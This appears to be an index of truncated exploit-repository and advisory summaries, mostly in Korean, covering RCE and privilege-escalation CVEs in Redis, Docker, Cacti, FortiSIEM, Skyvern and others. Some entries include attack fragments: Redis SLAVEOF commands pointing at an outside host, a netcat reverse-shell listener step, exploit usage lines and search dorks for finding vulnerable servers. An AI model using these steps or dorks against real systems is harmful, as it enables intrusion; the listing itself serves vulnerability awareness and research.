Redis-RCE

Redis-RCE redis4 및 redis5용 원격 코드 실행 python 코드 출처: https://github.com/Ridter/redis-rce so 파일을 로드하여 새 명령 system.exec를 확장함으로써 명령 실행 성공 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03...

dockerevil

dockerevil docker 기술에서 발견한 보안 결함을 저장하는 간단한 저장소 2016 - 2017 Docker API 권한 상승LPE/RPE 오프라인 서버/최소 이미지/TAR Dockerfile 빌드에서 권한 상승 Docker SUDO 권한 상승 PoC Nmap 스크립트 2019 CodeStudent1995 기반 익스플로잇 OpenShift 권한 상승oc docker에서 발견된 다른 멋진 보안 결함들: Docker API 남용이 Shadow Containers를 통한 하이퍼바이저 원격 코드 실행, 동일 출처 우회 및...

CVE-2022-48565-POC

CVE-2022-48565 PoC 소개 이것은 Python에서 Plist 파일의 안전하지 않은 역직렬화 에 기반한 취약점 CVE-2022-48565 를 시연하는 개념 증명PoC입니다. 특수하게 조작된 Property ListPlist 파일을 처리함으로써 공격자는 대상 시스템에서 임의 코드를 실행할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소에는 이 취약점을 악용하는 다양한 방법을 보여주는 네 개의 PoC 스크립트가 있습니다. 이러한 예제는 악성 코드가 Plist 파일에 포함되어 시스템에서 실...

CVE-2019-0708-Windows

CVE-2019-0708-Windows 이 글은 Windows 원격 데스크톱 서비스 취약점CVE-2019-0708을 공유하고, 해당 취약점 및 방어 조치에 대해 자세히 설명합니다. 저자는 네트워크 보안 초보자로서, 주로 보안 도구와 실습 작업에 관한 온라인 노트를 기반으로 한 자습서를 공유하고 있습니다. 마음에 드셨으면 좋겠습니다. 또한, 여러분이 저와 함께 작업하고 발전해 나가길 바라며, 앞으로 네트워크 보안 및 시스템 보안 지식을 더 깊이 배우고 관련 실험을 공유할 예정입니다. 요컨대, 이 시리즈의 글이 블로그 친구들에게...

EUVD-2026-92275

Papermerge 3.5.3 allows remote code execution by a standard user via directory traversal in a /api/documents/upload call. A Python .pth file can be written to site-packages, and its code is executed upon the next start of the Python interpreter...

CVE-2026-105314

Papermerge 3.5.3 is vulnerable to remote code execution (RCE) due to a directory traversal flaw in the /api/documents/upload endpoint. A standard user can exploit this to write a Python .pth file into the site-packages directory. The malicious code within the .pth file is executed automatically d...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux의 기본 문서 뷰어 deepin-reader RCE CVE-2023-50254: 패치되지 않은 Deepin Linux 데스크톱에 영향을 주는 Deepin-reader RCE용 PoC 익스플로잇입니다. Deepin Linux의 기본 문서 리더인 "deepin-reader" 소프트웨어는 설계 결함으로 인해 조작된 docx 문서를 통한 원격 명령 실행으로 이어지는 심각한 취약점이 있습니다. 상세 정보 deepin-reader는 운영 체제 Deepin Linux의 기본 문서 뷰어입니...

CVE-2021-26121

CS-Cart templates.manage 서버 측 템플릿 인젝션 원격 코드 실행 취약점 발견자: Steven Seeley 360 Vulcan Team 버전: = 4.12.x 최신 날짜: 2021-01-08 12:49 CVE: CVE-2021-26121 공개 타임라인 2021-01-26 – CSCart 개발팀에 전송됨 2021-01-27 – CSCart 개발팀으로부터 접수 확인 통보 2021-02-10 – CSCart로부터 보안 버그가 아니라는 답변 2021-02-12 – 공개 공개 요약 상점 관리자루트 관리자와 구별됨는 템...

CVE-2024-1651-PoC

CVE-2024-1651 이 CVE는 Fluid Attack Offensive Team의 Carlos Bello에 의해 발견되었습니다. 이 발견은 안전하지 않은 객체 역직렬화Insecure Object Deserialization를 통해 RCE원격 코드 실행를 얻는 것에 대해 논의합니다. 여기서는 더 빠르고 사용하기 쉬운 PoC개념 증명를 만들었습니다. 따라서 누구든지 이 발견을 재현하고자 한다면, 이를 참조 예제로 사용할 수 있습니다. Preview...

Check-vuln-CVE-2019-0708

CVE-2019-0708 비인증 CVE-2019-0708 "BlueKeep" 스캐너 PoC 제작: @JaGoTu, @zerosum0x0. Metasploit 모듈 PR: https://github.com/rapid7/metasploit-framework/pull/11869 이 저장소의 내용 호스트가 CVE-2019-0708 Microsoft Windows 원격 데스크톱 서비스 원격 코드 실행 취약점에 취약한지 감지할 수 있는 rdesktop의 스캐너 포크입니다. 서비스 거부를 유발해서는 안 되지만, 수년간의 모든 취약한 RDP...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow 는 기업 운영을 위한 디지털 워크플로우를 관리하는 데 도움을 주는 비즈니스 혁신 플랫폼입니다. CVE-2024-4879 는 인증되지 않은 사용자가 Now Platform 내에서 원격으로 코드를 실행할 수 있게 할 수 있습니다. 이 취약점은 Title Injection, Template Injection Mitigation Bypass, Filesystem Filter Bypass의 세 가지 문제를 연쇄적으로 악용하여 ServiceNow 데이터에 접근합니다. 영향을...

CVE-2018-16763

CVE 2018-16763 익스플로잇 소개 FUEL CMS 1.4.1의 PreAuth-RCE 데모 참조: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2023-0297

pyloadCVE-2023-0297poc pyLoad 0.5.0b3.dev31 이전 버전의 코드 삽입 취약점으로, js2py의 기능을 악용하여 사전 인증pre-auth RCE가 발생합니다. 사용법 CVE-2023-0297poc.exe 사용법: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM 인수 주입을 통한 원격 코드 실행 Fortinet FortiSIEM의 개념 증명 익스플로잇으로, 인수 주입을 악용하여 파일을 작성하고 root 권한으로 코드 실행을 얻습니다. 블로그 게시글 심층 분석은 여기에서: Horizon3.ai - CVE-2025-64155: Fortinet FortiSIEM을 3년 동안 원격으로 루팅하다 참고 이 문제를 악용하여 애플리케이션 파일을 덮어쓰면 시스템 불안정을 초래할 수 있습니다. 신중히 사용하세요. 다음과 같이...

CVE-2022-28113

Fantec MWiD25-DS CVE-2022-28113 分析报告 作者：@code-byter ========================== 这是一篇关于 Fantec MWiD25-DS 旅行路由器（固件版本：2.000.030）漏洞利用的分析报告。该漏洞允许任何未经授权的用户以 root 身份执行任意命令。备份功能（upload.csp）中的漏洞允许任何用户写入文件，从而无需有效会话 Cookie 即可重置用户密码。利用这些新凭据，攻击者可以登录 Web 界面并利用缓冲区溢出漏洞。设置 WiFi 客户端功能的 SSID...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 사용법: python3 cve-2024-29895.py -u https://target.com/ -c id cmdrealtime.php가 존재하고 POLLERID가 활성화된 DEV 빌드의 Cacti 1.3.X 버전에 영향을 줍니다. 이 엔드포인트를 통해 GET 요청 시 페이로드를 HTML 쿼리 매개변수로 전달하여 명령 삽입Command Injection이 가능합니다. Dork: Google: inurl:cmdrealtime.php Shodan: Cacti Hunter.how:...

CVE-2020-9496

CVE-2020-9496 - RCE webtools의 2개의 xmlrpc 관련 요청xmlrpc 및 ping이 인증을 사용하지 않기 때문에 안전하지 않은 역직렬화에 취약합니다. 이 문제는 GitHub Security Lab 팀의 Alvaro Munoz [email protected]에 의해 보안 팀에 보고되었습니다. 이 취약점은 /webtools/control/xmlrpc로 전송된 요청을 처리할 때 Java 직렬화 문제로 인해 존재합니다. 원격의 인증되지 않은 공격자는 조작된 요청을 전송하여 이 취약점을 악용할 수...

Malicious code in web3-sign-helper (RubyGems)

RubyGems runs this gem's native extension script ext/web3-sign-helper/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

CVE-2025-49619

CVE-2025-49619 PoC 이 스크립트는 Skyvern의 CVE-2025-49619 취약점을 악용하여 리버스 셸 명령을 실행합니다. 작성자 이름: Cristian Branet GitHub: cristibtz 사용법 1. 리스너 시작 nc -lvnp 2. 익스플로잇 실행 python3 exploit.py -u "http://:" -k "" -i -p : Skyvern 서버 IP : Skyvern 서버 포트 : 본인의 Skyvern API 키 설정 → API 키 : 리버스 셸을 수신할 본인의 IP : 리버스 셸용 포트...

CVE-2024-4577-PHP-RCE

CVE 2024-4577 PHP 원격 코드 실행 Waived가 만든 자동 스캐너 영향 받는 버전: PHP 8.3, 8.3.8, 8.2. 8.2.20, 8.1., 8.1.29 상세 정보: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 https://www.exploit-db.com/exploits/52047 https://vulners.com/cve/CVE-2024-4577 개요: 이 스캐너는 CVE-2024-4577 취약점을 확인하기 위해 웹 서버를 스캔합니다. 스크립트는 완전 자동화되어...